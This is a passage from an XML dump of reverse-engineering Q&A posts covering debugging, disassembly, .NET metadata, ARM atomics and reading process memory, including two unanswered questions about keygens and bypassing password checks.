&lt;code&gt;TlHelp32&lt;/code&gt; functions and could look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DWORD GetModuleHandleExternal(DWORD pid, const wchar_t* module)&#xA;{&#xA;    DWORD base = 0;&#xA;    HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);&#xA;    MODULEENTRY32 entry;&#xA;    entry.dwSize = sizeof(MODULEENTRY32);&#xA;    while(Module32First(handle, &amp;amp;entry))&#xA;    {&#xA;        if (!wcscmp(entry.szModule, module))&#xA;        {&#xA;            base = (DWORD)entry.modBaseAddr;&#xA;            break;&#xA;        }&#xA;    }&#xA;    CloseHandle(handle);&#xA;    return base;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can just simply call&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HANDLE handle = OpenProcess(PROCESS_VM_READ, FALSE, pid);&#xA;DWORD base = GetModuleHandleExternal(pid, L&amp;quot;module.exe&amp;quot;);&#xA;DWORD address = base + 0x27000;&#xA;DWORD value = 0;&#xA;ReadProcessMemory(handle, (void*)address, &amp;amp;value, sizeof(value), NULL);&#xA;CloseHandle(handle);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-09-03T14:01:57.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25806" PostTypeId="1" CreationDate="2020-09-03T14:22:31.747" Score="0" ViewCount="547" Body="&lt;p&gt;I'm practicing reversing a stripped arm binary, and found that when I set a breakpoint at say &lt;code&gt;0x010451&lt;/code&gt;, and run the program, gdb spins forever until I hit ctrl+c.  When I do, the current pc is at the address, but I can't continue the program.&lt;/p&gt;&#xA;&lt;p&gt;When I set the breakpoint to &lt;code&gt;0x010450&lt;/code&gt;, gdb hits the breakpoint fine, but the instructions are being decoded as non-thumb instructions.&lt;/p&gt;&#xA;&lt;p&gt;Is this expected?  A bug?  I will try to upload examples later today.&lt;/p&gt;&#xA;&lt;p&gt;Version info (under qemu usermode emulation):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;debian@debian-arm:~/lab$ gdb --version&#xA;GNU gdb (Debian 8.2.1-2+b3) 8.2.1&#xA;Copyright (C) 2018 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.&#xA;debian@debian-arm:~/lab$ uname -a&#xA;Linux debian-arm 4.19.0-10-armmp-lpae #1 SMP Debian 4.19.132-1 (2020-07-24) armv7l GNU/Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34302" LastActivityDate="2020-10-10T21:05:25.497" Title="Setting Breakpoints on Thumb Instructions in GDB" Tags="|arm|gdb|thumb2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25808" PostTypeId="2" ParentId="25796" CreationDate="2020-09-03T23:21:51.743" Score="1" Body="&lt;p&gt;Referencing variables with &lt;code&gt;$&lt;/code&gt; only works in the shell or if the program specifically supports it. You simply have to paste or type the old value manually.&lt;/p&gt;&#xA;&lt;p&gt;Possibly you can use &lt;a href=&quot;https://lldb.llvm.org/use/python.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python scripting &lt;/a&gt; to read and write the environment variables.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-03T23:21:51.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25810" PostTypeId="1" CreationDate="2020-09-04T07:58:27.267" Score="0" ViewCount="32" Body="&lt;p&gt;This one is kinda tricky question, as it sounds a bit shady, I am well aware of that. Let me first explain the situation. I have this special software designed to read paired industrial sensors from afar. It's paid software coming with those sensors. It contains key-response activation process, where the key generated is a string based on hw and response another string delivered by the maker. What happened here is that I activated it in the office, while my laptop was in a dock, so it runs nicely there. But when I run it again without a dock, new ID is computed and sw asks for a new response. Connect back to the dock, runs nicely again. Thing is, I do not need to run it in the office, obviously. So I usually run it in the office first, disconnecting laptop from the dock afterwards, which way I can use it on the go. But when I am in the field and need to restart the computer or I simply forget to run it in the office first, I lose access to the sw. Manufacturer do not have any direct customer support, it's supposed to be provided through selling channels/partners but they are mostly salesmen and only technical support comes for sensors, not the reading software activation. They were kinda confused with the issue, maybe not even fully understand it and said I need to buy a whole solution again. That's a bit absurd request, sorry. Should I really replace hundreds of sensors to make the reading sw running on un-docked laptop??&lt;/p&gt;&#xA;&lt;p&gt;The software is a bit old and frankly quite shitty. The key seems to be computed from either physical screen resolution or NIC mac address, didn't pinpoint which one exactly but how it depends on the dock one of those seems probable. So, what I basically need is to help to understand the generation process and build a keygen for that. A bit of thin ice, hopefully I do not break any forum rules here. Would someone have any recommendations where to start..?&lt;/p&gt;&#xA;" OwnerUserId="33620" LastActivityDate="2020-09-04T07:58:27.267" Title="Decypher hw key generation process" Tags="|disassembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25811" PostTypeId="1" AcceptedAnswerId="25813" CreationDate="2020-09-04T10:46:09.093" Score="1" ViewCount="37" Body="&lt;p&gt;when following certain youtube tutorials, the address in memory for the instructions are same in my machine and the youtuber's machine. How is that possible? Are instructions provided with memory address during compilation? If so then, there are only limited numbers of memory addresses in a machine, if 2 compiled programs are given the same address, what happens then?&lt;/p&gt;&#xA;" OwnerUserId="34307" LastActivityDate="2020-09-04T13:53:55.057" Title="are address for instructions specified during compilation?" Tags="|disassembly|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25813" PostTypeId="2" ParentId="25811" CreationDate="2020-09-04T13:53:55.057" Score="1" Body="&lt;p&gt;That's how the concept of virtual address space works. Every process has their own address space which can be addressed. Thanks to this you can't directly read from/write to memory of another process.&lt;/p&gt;&#xA;&lt;p&gt;You can specify the address where the process base module will be mapped into process memory during compilation/linking process, for example for MSVC linker it is /BASE command. Usually if ASLR (Address Space Layout Randomization) is disabled, the base address is 0x400000 for 32 bit images and 0x140000000 for 64 bit images.&lt;/p&gt;&#xA;&lt;p&gt;When you, for example, want to read a value at particular address in your process, kernel maps address from the virtual address space into a physical address (for example, to the address where the value is physically onto your RAM stick). Thanks to this two independent processes can have different values at the same address (in their own address spaces).&lt;/p&gt;&#xA;&lt;p&gt;For example if you evaluate &lt;code&gt;*(int*)(0x600000)&lt;/code&gt; in program A it can return &lt;code&gt;5&lt;/code&gt;, but the same operation can return &lt;code&gt;6&lt;/code&gt; in program B .&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The virtual address space for a process is the set of virtual memory addresses that it can use. The address space for each process is private and cannot be accessed by other processes unless it is shared.&lt;/p&gt;&#xA;&lt;p&gt;A virtual address does not represent the actual physical location of&#xA;an object in memory; instead, the system maintains a page table for&#xA;each process, which is an internal data structure used to translate&#xA;virtual addresses into their corresponding physical addresses. Each&#xA;time a thread references an address, the system translates the virtual&#xA;address to a physical address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-09-04T13:53:55.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25814" PostTypeId="1" AcceptedAnswerId="25822" CreationDate="2020-09-04T14:47:36.487" Score="2" ViewCount="123" Body="&lt;p&gt;I tried googling but couldn't find any good source that explains the structure of memory access instructions like ldstr and call instructions&lt;/p&gt;&#xA;&lt;p&gt;for example based on experience, the last byte of API/library call instructions is always 0x0A (let me know if I'm wrong), but why? what are the structure of the 4 bytes of call operands? what about operands of ldstr instructions?&lt;/p&gt;&#xA;&lt;p&gt;because they are different from native apps, they are not raw offsets, they seem to be offsets into a table but i cannot find any post that explains this in detail?&lt;/p&gt;&#xA;&lt;p&gt;the best thing i found is this :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but it still doesn't explain many things&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2020-09-06T06:59:52.037" Title="Structure of operand bytes in .NET call and data access IL instructions?" Tags="|ida|windows|malware|.net|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25816" PostTypeId="2" ParentId="25769" CreationDate="2020-09-05T10:28:30.430" Score="3" Body="&lt;p&gt;You can use &lt;code&gt;get_input_file_path()&lt;/code&gt; IDC function and then extract the file name from it.&lt;/p&gt;&#xA;&lt;p&gt;It's also available in IDAPython as &lt;code&gt;ida_nalt.get_input_file_path&lt;/code&gt; (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-09-05T10:28:30.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25817" PostTypeId="1" CreationDate="2020-09-05T13:56:16.430" Score="0" ViewCount="183" Body="&lt;p&gt;i am working to openning or bypassing a password .  at first there is a password with 8 chracters ( letter,number , sign) that i attached a picture of password requst window i opened it by ollydbg and at first sete a bp on GetWindowsTextA and after i enterd worng password and checked out all code and all jumps  and wrote  comments in front of every jump  that i will explain they in following  and  seted a bp on every jump that it did do&lt;/p&gt;&#xA;&lt;p&gt;in second step&#xA;i entered correct pass and i checked out all code and all jumps and wrote comments in front of every jump  that i will explain they in following and seted a bp on every jump that it did do&#xA;so there are many diffrents  between them  that i will  attached a screen shot of bps&#xA;so whats your idea ? how i can bypassing  the password process?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;              * : if the JMP did  do when  entered worng pass &#xA;              Q : if JMP didnot  do when enterd worng pass&#xA;&#xA;              + : if the JMP did  do when  entered correct pass &#xA;              R : if the JMP didnot  do when  entered correct pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ivkFi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivkFi.jpg&quot; alt=&quot;password requst window&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vfnb1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vfnb1.jpg&quot; alt=&quot;bp window screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wLVGU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wLVGU.jpg&quot; alt=&quot;bp window screensho&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26688" LastEditorUserId="26688" LastEditDate="2020-09-05T14:14:39.730" LastActivityDate="2020-09-05T14:14:39.730" Title="finding best way to bypassing password check process" Tags="|ollydbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25818" PostTypeId="2" ParentId="22074" CreationDate="2020-09-05T15:19:34.967" Score="0" Body="&lt;p&gt;my findings on openwrt forum&#xA;&lt;a href=&quot;https://forum.openwrt.org/t/aether-cone-good-device-for-hacking/73890&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.openwrt.org/t/aether-cone-good-device-for-hacking/73890&lt;/a&gt;&#xA;also a link to the update script which can be helpful to see how to decode the firmware from github: &lt;a href=&quot;https://pastebin.com/SXASpfnX&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/SXASpfnX&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34314" LastEditorUserId="34314" LastEditDate="2020-09-10T21:25:39.470" LastActivityDate="2020-09-10T21:25:39.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25819" PostTypeId="2" ParentId="16938" CreationDate="2020-09-05T20:46:38.673" Score="0" Body="&lt;p&gt;I had this same problem, except worse than you described, as the code that was in one of the broken former-groups was now nowhere to be seen on the graph. Attempting to go to that code's address directly would bring me out of graph view, and attempting to switch back from there would tell me &amp;quot;only instructions belonging to functions can be displayed in graph mode&amp;quot;, despite the fact that those instructions did belong to a function.&lt;/p&gt;&#xA;&lt;p&gt;I tried something similar to what worked for @RobitZee, only I didn't do it for every single opcode because it was a huge function. It appeared to work at first, but then eventually the broken nodes mysteriously reappeared.&lt;/p&gt;&#xA;&lt;p&gt;I downloaded &lt;a href=&quot;https://github.com/nlitsme/pyidbutil&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyidbutil&lt;/a&gt; to see if I could manually delete the graph data, only to find that it could only read databases, not modify them. I was still able to use it to help me fix the problem, however.&lt;/p&gt;&#xA;&lt;p&gt;What I did was run pyidbutil with the &lt;code&gt;-d&lt;/code&gt; flag, which gave me a big dump of a whole bunch of data. Then, I found the text for the groups in that graph (in hexadecimal format) which were all listed together, with a larger blob of data right above them, that appeared to contain them. I opened up a hex editor, searched for these blobs of data (the smaller ones containing the strings as well as the larger one) and replaced all of them with 00's. (Keep in mind there's some other data between them, which will corrupt the database if overwritten.) Then I saved the database, keeping a backup of course.&lt;/p&gt;&#xA;&lt;p&gt;After I zeroed out all that data, IDA was able to load the database just fine. The only warning it gave me (other than an unrelated one I always got) was of an invalid CRC32 checksum, but it gave me the option to ignore it. This appeared to reset the graph entirely, removing all group nodes (including the glitched ones) and putting the missing code back in the graph.&lt;/p&gt;&#xA;&lt;p&gt;Finally, I closed, saved, and reloaded the database right after. This was to replace my hacky-but-functional edit with the proper serialization of what IDA loaded, which fixed the CRC32, likely among other things. The database, including the now-uncorrupted graph, saved without issue.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that this fix is almost certainly unsupported, and I can't guarantee it will work properly for you.&lt;/p&gt;&#xA;" OwnerUserId="24241" LastActivityDate="2020-09-05T20:46:38.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25820" PostTypeId="1" AcceptedAnswerId="25830" CreationDate="2020-09-06T02:04:28.940" Score="0" ViewCount="70" Body="&lt;p&gt;I understand the assembly properly. I am just confused about variable 'b' and 'c'. It looks like b is stored at 12(%ebp). I conclude this from &lt;code&gt;cmp 12(%ebp), %eax&lt;/code&gt;. If you look at func_8048516, it is adding -0x4(%ebp) which is 'i' and 12(%ebp) which is b. It should translate into &lt;code&gt;a=b+i&lt;/code&gt; in the source code but it's &lt;code&gt;a=c+i&lt;/code&gt;. Can anyone explain this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8AwnV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AwnV.png&quot; alt=&quot;Assembly code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/czeVX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/czeVX.png&quot; alt=&quot;Source code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34315" LastActivityDate="2020-09-07T17:08:19.897" Title="Need help to understand this assembly for fibonacci seq" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25822" PostTypeId="2" ParentId="25814" CreationDate="2020-09-06T06:59:52.037" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;the last byte of API/library call instructions is always &lt;code&gt;0x0A&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's because calls needs to have method (ref) as a parameter and methods are defined in the table that has an id of &lt;code&gt;0x0A&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Having bytes of the call like this &lt;code&gt;280600000A&lt;/code&gt; let's go one by one.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x28&lt;/code&gt; - is the value for opcode 'call' and it takes one operand.&lt;/li&gt;&#xA;&lt;li&gt;the rest of the opcode is the metadata token so basically the information which method should be called&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But why &lt;code&gt;0x0A&lt;/code&gt; is at the end? It should be read as a little-endian so the value should be &lt;code&gt;0x0A000006&lt;/code&gt;. But what are the bytes?&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Metadata_(CLI)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When CIL code uses metadata it does so through a metadata token. This is a 32-bit value where the top 8 bits identify the appropriate metadata table, and the remaining 24 bits give the index of the metadata in the table.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the first value is the table id - and as I've mentioned the id of member's ref table is value &lt;code&gt;0x0A&lt;/code&gt;. And the rest is an index in the table (in our case &lt;code&gt;0x6&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;More about the tables? Those are basically part of .NET metadata information, that can be seen when you open one in i.e. dnSpy&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aYDaS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYDaS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As one can see &lt;code&gt;0x0A&lt;/code&gt; is assigned to the &lt;code&gt;MemberRef&lt;/code&gt; (containing both methods and fields references)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;what about operands of ldstr instructions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In this instance, the instruction has the following structure &lt;code&gt;72XXXX0070&lt;/code&gt; and &lt;code&gt;0x70&lt;/code&gt; indicates different stream - namely User defined strings or &lt;code&gt;#US&lt;/code&gt;. The rest (again interpreted as a little-ending 32-bit val) is the offset (in bytes) in &lt;code&gt;#US&lt;/code&gt; table.&lt;/p&gt;&#xA;&lt;p&gt;Generally dnSpy is a great tool to verifying those values as one can metadata tables.&lt;/p&gt;&#xA;&lt;p&gt;The linked article (and the whole series is a great resource)  it does explain (I think) the structure but maybe indirectly - just find the information about metadata token.&lt;/p&gt;&#xA;&lt;p&gt;We can induce from it the whole structure of a metadata token.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-09-06T06:59:52.037" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25823" PostTypeId="1" AcceptedAnswerId="25826" CreationDate="2020-09-06T11:18:43.537" Score="1" ViewCount="1853" Body="&lt;p&gt;Often while disassembling &lt;code&gt;ARM&lt;/code&gt; files, I see some code snippet with the following pattern:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;loc_BB30:&#xA;.text:C0 FE 5F 88 LDAXR           WZR, W0, [X22]&#xA;.text:00 04 00 51 SUB             W0, W0, #1&#xA;.text:C0 FE 01 88 STLXR           W1, W0, [X22]&#xA;.text:A1 FF FF 35 CBNZ            W1, loc_BB30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is translated to the following decompile code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  do&#xA;  {&#xA;    v2 = __ldaxr((unsigned int *)v1);&#xA;    v1 = (unsigned int)(v1 - 1);&#xA;  }&#xA;  while ( __stlxr(v1, v3) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the meaning of this code? What kind of c code actually produces this kind of snippet?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-09-08T08:06:46.797" Title="What is the meaning of ARM LDAXR/STLXR instructions?" Tags="|ida|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25824" PostTypeId="1" AcceptedAnswerId="25832" CreationDate="2020-09-06T11:36:13.127" Score="-2" ViewCount="528" Body="&lt;p&gt;What the meaning of this code with an explanation?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sub_37C2:&#xA;mov     r5, r4&#xA;shr     r5, #14&#xA;shl     r5, #1&#xA;mov     r5, [r5+0FE00h] ; DPP0&#xA;bmov    r4.14, r5.0&#xA;bmov    r4.15, r5.1&#xA;shr     r5, #2&#xA;rets&#xA;; End of function sub_37C2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31110" LastActivityDate="2020-09-23T22:51:08.543" Title="The C166 family code meaning" Tags="|ida|disassembly|memory|static-analysis|c166|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25826" PostTypeId="2" ParentId="25823" CreationDate="2020-09-06T22:52:07.650" Score="5" Body="&lt;p&gt;This general pattern of exclusive-access instructions is usually seen when atomic variables are modified.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C++ Example (C++11 or later)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  #include &amp;lt;atomic&amp;gt;&#xA;&#xA;  void release( std::atomic&amp;lt;int&amp;gt;&amp;amp; refcount ) {&#xA;      refcount--;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see &lt;a href=&quot;https://godbolt.org/z/PvTK8o&quot; rel=&quot;nofollow noreferrer&quot;&gt;here on godbolt&lt;/a&gt; that GCC's ARM64 compilation of the above produces your assembly code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C Example (C11)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdatomic.h&amp;gt;&#xA;&#xA;void release( _Atomic int* refcount ) {&#xA;    (*refcount)--;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Godbolt version &lt;a href=&quot;https://godbolt.org/z/5ve8c5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C Example (prior to C11, using GCC built-ins)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void release( int* refcount ) {&#xA;    __atomic_sub_fetch( refcount, 1, __ATOMIC_ACQ_REL );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Godbolt version &lt;a href=&quot;https://godbolt.org/z/1687vr&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-09-08T08:06:46.797" LastActivityDate="2020-09-08T08:06:46.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25827" PostTypeId="1" AcceptedAnswerId="25828" CreationDate="2020-09-07T06:50:08.380" Score="5" ViewCount="1542" Body="&lt;p&gt;Sometimes, I see while disassembling a binary that there is the &lt;code&gt;main&lt;/code&gt; function. but sometimes, instead of &lt;code&gt;main&lt;/code&gt;, there is &lt;code&gt;entry&lt;/code&gt; function.&#xA;I want to know what is the difference between &lt;code&gt;entry&lt;/code&gt; and &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-09-08T03:33:40.890" Title="Difference between Main and Entry" Tags="|disassembly|binary-analysis|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25828" PostTypeId="2" ParentId="25827" CreationDate="2020-09-07T07:18:29.217" Score="16" Body="&lt;p&gt;&lt;code&gt;Main&lt;/code&gt; is usually a programmer-defined entry point, while &lt;code&gt;entry&lt;/code&gt; is defined by the compiler, it's doing many other operations such as &lt;code&gt;libc&lt;/code&gt; initializations, heap allocation, and so on, and eventually, call the user-defined &lt;code&gt;main&lt;/code&gt; entry point. You can see &lt;code&gt;main&lt;/code&gt; as a callback function that defined by the user and eventually called by &lt;code&gt;entry&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-09-07T07:18:29.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25829" PostTypeId="1" CreationDate="2020-09-07T13:52:11.567" Score="0" ViewCount="113" Body="&lt;p&gt;I'v try to debugging windows PE file under Linux.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;winedbg --gdb --no-start a.exe                                                  ─╯&#xA;00bc:00c0: create process 'Z:\home\coolder\a.exe'/0x1106b8 @0x4014c0 (83456&amp;lt;1315&amp;gt;)&#xA;00bc:00c0: create thread I @0x4014c0&#xA;target remote localhost:59889&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And use radare2 to connect to it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r2 -e dbg.exe.path=./a.exe -d gdb://localhost:59889                             ─╯&#xA;= attach 192 1&#xA;= attach 192 0&#xA;WARNING: (dwarf_process.c:902):map_dwarf_reg_to_x86_reg: code should not be reached&#xA; -- Don't wait for Travis&#xA;[0x0061fefc]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x000015e0]&amp;gt; pd 3&#xA;            ;-- main:&#xA;            ;-- _main:&#xA;            0x000015e0      ff             invalid&#xA;            0x000015e1      ff             invalid&#xA;            0x000015e2      ff             invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why there's nothing in main funtion?&lt;/p&gt;&#xA;&lt;p&gt;I have used 'aaa' to analyze.&lt;/p&gt;&#xA;&lt;p&gt;But when I use 'dc', the program runs correctly.&lt;/p&gt;&#xA;&lt;p&gt;How to fix it?&lt;/p&gt;&#xA;" OwnerUserId="31023" LastActivityDate="2020-09-07T13:52:11.567" Title="No instruction in main function when debugging with winedbg" Tags="|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25830" PostTypeId="2" ParentId="25820" CreationDate="2020-09-07T17:08:19.897" Score="1" Body="&lt;p&gt;compiling this code in &lt;a href=&quot;https://godbolt.org/z/ncPdKa&quot; rel=&quot;nofollow noreferrer&quot;&gt;godbolt.org&lt;/a&gt; the c code assembles to mov 16(%ebp),%edx&lt;/p&gt;&#xA;&lt;p&gt;which is variable c not b as in your screenshot&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wySPq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wySPq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-07T17:08:19.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25831" PostTypeId="1" CreationDate="2020-09-07T17:45:13.933" Score="0" ViewCount="67" Body="&lt;p&gt;I'm trying to analyze one binary protected by HASP. Since it is pretty old binary (2008) I managed to run it in IDA and it unpacked in memory. When I do tracing + take memory snapshot and reanalyze it, the view of functions I get does not make any sense.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qcv43.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qcv43.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How is it possible that instructions are skipped? Am I doing something wrong here?&lt;/p&gt;&#xA;" OwnerUserId="29235" LastActivityDate="2020-09-09T13:14:45.430" Title="Packer changed memory in IDA?" Tags="|ida|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25832" PostTypeId="2" ParentId="25824" CreationDate="2020-09-07T18:15:30.617" Score="4" Body="&lt;p&gt;Okay, so let's start by converting the first four instructions to rough pseudocode. I'll include the instructions as comments so you can see what each one does.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r5 = r4;              // mov r5, r4 - Set R5 to equal the value in R4    &#xA;r5 &amp;gt;&amp;gt;= 14;            // shr r5, #14 - Shift R5 14 bits to the right&#xA;r5 &amp;lt;&amp;lt;= 1;             // shl r5, #1 - Shift R5 1 bit to the left&#xA;r5 = *(0xFE00 + r5);  // mov r5, [r5+0FE00h] - Add 0xFE00 to R5, treat the sum as a memory address, and set R5 to equal the 16-bit value at that address.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Notice how r5 is shifted 14 bits to the right, then one to the left. At first glance it may look like this is effectively just a shift to the right by 13 bits, but any bits that are shifted out of the register are lost, and shifting to the left doesn't bring them back. So those first two shifts do add up to a 13 bit shift to the right, except it also clears the least significant bit of r5.&lt;/p&gt;&#xA;&lt;p&gt;So the above code fragment can be simplified as 